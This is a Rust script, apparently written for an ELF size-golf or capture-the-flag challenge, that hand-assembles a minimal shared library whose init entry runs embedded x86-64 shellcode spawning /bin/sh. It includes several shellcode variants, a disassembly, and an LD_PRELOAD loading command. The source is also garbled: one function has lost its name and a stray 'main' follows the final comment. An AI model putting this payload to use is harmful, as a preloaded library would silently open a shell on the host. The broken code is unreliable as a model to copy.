/*!
```cargo
[dependencies]
goblin = "0.2"
anyhow = "1.0"
faerie = "0.15"
target-lexicon = "0.10"
```
*/
extern crate faerie;
extern crate goblin;
extern crate target_lexicon;
use goblin::elf::{Elf, dynamic::*};
use goblin::elf64::{
    header::{self, Header},
    program_header::{self as Phdr, ProgramHeader},
    section_header::{self as Shdr, SectionHeader},
    dynamic,
    };
use std::{io, mem};
use std::io::Write;
use std::collections::BTreeMap;
use std::fs::{self, File};
use std::str::FromStr;
use faerie::{ArtifactBuilder, Decl, Link, SectionKind};

fn main_old() -> Result<(), anyhow::Error> {
    //let mut elf = ArtifactBuilder::new(target_lexicon::triple!("x86_64-linux-gnu")).library(true).finish();
    let mut elf = ArtifactBuilder::new(target_lexicon::triple!("x86_64-unknown-unknown-unknown-elf")).library(true).finish();
    elf.declare(".init", Decl::section(SectionKind::Data))?;
    elf.declare("main", Decl::function().global())?;
    //let mut symbols = BTreeMap::new();
    //symbols.insert("main".into(), 0);
    //elf.define_with_symbols(".init", vec![0xeb, 0xfe], symbols)?;
    elf.define(".init", vec![0xeb, 0xfe])?;
    elf.define("main", vec![0xeb, 0xfe])?;
    //elf.link(Link { from: ".init", to: "main", at: 0})?;
    //elf.write(File::create("libgolf.so")?)?;
    let mut elfbytes: Vec<u8> = elf.emit()?;
    //let mut elf2 = Elf::parse(&elfbytes)?;
    println!("elfbytes {:?}", elfbytes);
    {
        let mut header: &mut Header = unsafe { &mut *(elfbytes.as_mut_ptr() as *mut Header) };
        println!("header {:?}", header);
        header.e_type = header::ET_DYN | header::ET_EXEC;
        println!("header {:?}", header);
        for i in 0..(header.e_shnum as usize) {
            let mut shdr: &mut SectionHeader = unsafe { &mut *(elfbytes.as_mut_ptr().offset(header.e_shoff as isize).offset(header.e_shentsize as isize*i as isize) as *mut SectionHeader) };
            println!("shdr {}: {:?}", i, shdr);
        }
    
    }
    println!("elfbytes {:?}", elfbytes);
    let mut file = File::create("libgolf.so")?;
    file.write(&elfbytes)?;
    
    Ok(())
}

fn 
() -> Result<(), anyhow::Error> {
    /*let bytes_from_c = fs::read("./a.out")?;
    let from_c = Elf::parse(&bytes_from_c)?;
    println!("{:#?}", from_c);*/
    let e_ident = [0x7f, b'E', b'L', b'F', header::ELFCLASS64, header::ELFDATA2LSB, header::EV_CURRENT, header::ELFOSABI_NONE, 0, 0, 0, 0, 0, 0, 0, 0];
    let mut elfbytes = vec![0; 512];
    let mut header: &mut Header = unsafe { &mut *(elfbytes.as_mut_ptr() as *mut Header) };
    *header = Header {
        e_ident,
        e_type: header::ET_DYN,
        e_machine: header::EM_X86_64,
        e_version: header::EV_CURRENT as _,
        e_entry: 0x41410100,
        e_phoff: 128,
        e_shoff: 0,
        e_flags: 0,
        e_ehsize: mem::size_of::<Header>() as _,
        e_phentsize: mem::size_of::<ProgramHeader>() as _,
        e_phnum: 2,
        e_shentsize: mem::size_of::<SectionHeader>() as _,
        e_shnum: 0,
        e_shstrndx: 0,
    };
    println!("header: {:?}", header);
    let mut phdr: &mut ProgramHeader = unsafe { &mut *(elfbytes.as_mut_ptr().offset(128) as *mut ProgramHeader) };
    *phdr = ProgramHeader {
        p_type: Phdr::PT_LOAD,
        p_flags: Phdr::PF_R | Phdr::PF_W | Phdr::PF_X,
        p_offset: 0,
        p_vaddr: 0x41410000,
        p_paddr: 0x41410000,
        p_filesz: 512,
        p_memsz: 512,
        p_align: 0x1000,
    };
    println!("phdr: {:?}", phdr);
    let mut phdr2: &mut ProgramHeader = unsafe { &mut *(elfbytes.as_mut_ptr().offset(128).offset(mem::size_of::<ProgramHeader>() as _) as *mut ProgramHeader) };
    *phdr2 = ProgramHeader {
        p_type: Phdr::PT_DYNAMIC,
        p_flags: Phdr::PF_R | Phdr::PF_W | Phdr::PF_X,
        p_offset: 400,
        p_vaddr: 0x41410190,
        p_paddr: 0,
        p_filesz: mem::size_of::<dynamic::Dyn>() as _,
        p_memsz: mem::size_of::<dynamic::Dyn>() as _,
        p_align: 8,
    };
    println!("phdr2: {:?}", phdr2);

/*
   0:   48 ba 2f 62 69 6e 2f    movabs $0x68732f6e69622f,%rdx
   7:   73 68 00
   a:   48 83 e8 10             sub    $0x10,%rax
   e:   48 89 10                mov    %rdx,(%rax)
  11:   48 89 c7                mov    %rax,%rdi
  14:   48 31 d2                xor    %rdx,%rdx
  17:   48 83 e8 08             sub    $0x8,%rax
  1b:   48 89 10                mov    %rdx,(%rax)
  1e:   48 83 e8 08             sub    $0x8,%rax
  22:   48 89 38                mov    %rdi,(%rax)
  25:   48 89 c6                mov    %rax,%rsi
  28:   48 31 c0                xor    %rax,%rax
  2b:   b0 3b                   mov    $0x3b,%al
  2d:   0f 05                   syscall
---
b"\x48\xba\x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\x83\xe8\x10\x48\x89\x10\x48\x89\xc7\x48\x31\xd2\x48\x83\xe8\x08\x48\x89\x10\x48\x83\xe8\x08\x48\x89\x38\x48\x89\xc6\x48\x31\xc0\xb0\x3b\x0f\x05"
*/
    //let shellcode = b"\xeb\xfe";
    //let shellcode = b"\xff\x34\x25\x2f\x73\x68\x00\xff\x34\x25\x2f\x62\x69\x6e\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xeb\xfe";
    //let shellcode = b"\x48\xba\x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\x83\xe8\x10\x48\x89\x10\x48\x89\xc7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xeb\xfe";
    //let shellcode = b"\x48\xba\x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\x83\xe8\x10\x48\x89\x10\x48\x89\xc7\x48\x83\xe8\x10\x48\x89\x38\x48\x89\xc6\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05";
    //let shellcode = b"\x48\xba\x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\x83\xe8\x10\x48\x89\x10\x48\x31\xd2\x48\x83\xe8\x10\x48\x89\x10\x48\x89\xc7\x48\x83\xe8\x10\x48\x89\x38\x48\x89\xc6\x48\x31\xc0\xb0\x3b\x0f\x05\xeb\xfe";
    //let shellcode = b"\x48\xba\x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\x83\xe8\x10\x48\x89\x10\x48\x89\xc7\x48\x31\xd2\x48\x83\xe8\x10\x48\x89\x10\x48\x83\xe8\x10\x48\x89\x38\x48\x89\xc6\x48\x31\xc0\xb0\x3b\x0f\x05";
    let shellcode = b"\x48\xba\x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\x83\xe8\x10\x48\x89\x10\x48\x89\xc7\x48\x31\xd2\x48\x83\xe8\x08\x48\x89\x10\x48\x83\xe8\x08\x48\x89\x38\x48\x89\xc6\x48\x31\xc0\xb0\x3b\x0f\x05";

    for (i, x) in shellcode.iter().enumerate() {
        elfbytes[256+i] = *x;
    }

    let dynamic = vec![
        // https://docs.oracle.com/cd/E19683-01/817-3677/chapter6-42444/index.html
        //dynamic::Dyn { d_tag: DT_HASH, d_val: 1 },
        dynamic::Dyn { d_tag: DT_INIT, d_val: 0x41410100 },
        dynamic::Dyn { d_tag: DT_STRTAB, d_val: 2 },
        dynamic::Dyn { d_tag: DT_SYMTAB, d_val: 3 },
        dynamic::Dyn { d_tag: DT_STRSZ, d_val: 0 },
        dynamic::Dyn { d_tag: DT_SYMENT, d_val: 0 },
        dynamic::Dyn { d_tag: DT_NULL, d_val: 0 },
    ];
    let mut dynamic_raw: &mut [dynamic::Dyn] = unsafe { std::slice::from_raw_parts_mut(elfbytes.as_mut_ptr().offset(400) as *mut dynamic::Dyn, dynamic.len()) };
    for (x, y) in dynamic.into_iter().zip(dynamic_raw.iter_mut()) {
        *y = x;
    }

    let mut file = File::create("libgolf2.so")?;
    file.write(&elfbytes)?;
    Ok(())
}
/*
set follow-fork-mode child
r -c 'LD_PRELOAD=./libgolf2.so /bin/true'
*/

main